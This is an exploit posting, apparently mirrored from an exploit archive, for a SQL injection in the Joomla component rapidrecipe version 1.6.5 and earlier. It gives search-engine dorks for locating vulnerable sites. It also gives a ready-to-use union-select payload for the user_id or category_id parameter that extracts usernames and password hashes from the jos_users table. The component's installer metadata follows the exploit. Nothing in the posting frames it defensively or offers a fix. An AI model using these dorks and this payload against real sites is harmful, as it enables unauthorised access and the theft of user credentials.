Joomla Component rapidrecipe <= 1.6.5 SQL Injection Vulnerability

######################################################################### # # joomla SQL Injection(com_rapidrecipe) # ######################################################################### # # AUTHOR : S@BUN # # HOME : http://www.hackturkiye.com # # MA陌L : hackturkiye.hackturkiye@gmail.com # ######################################################################### # # DORK 1 : allinurl: "com_rapidrecipe"user_id # # DORK 2 : allinurl: "com_rapidrecipe" category_id # ######################################################################### EXPLOIT : after user_id or catogry_id add exploit -9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/* ######################################################################### # S@BUN i AM NOT HACKER S@BUN ######################################################################### <mosinstall type="component"> <name>rapidrecipe</name> <creationDate>30/7/2007</creationDate> <author>Konstantinos Kokkorogiannis</author> <copyright>This component in released under the Chefs and Koyans License. You should not use it unless you have bought it.</copyright> <authorEmail>koyan@dianthos.net</authorEmail> <authorUrl>www.dianthos.net</authorUrl> <version>1.6.5</version> # sebug.net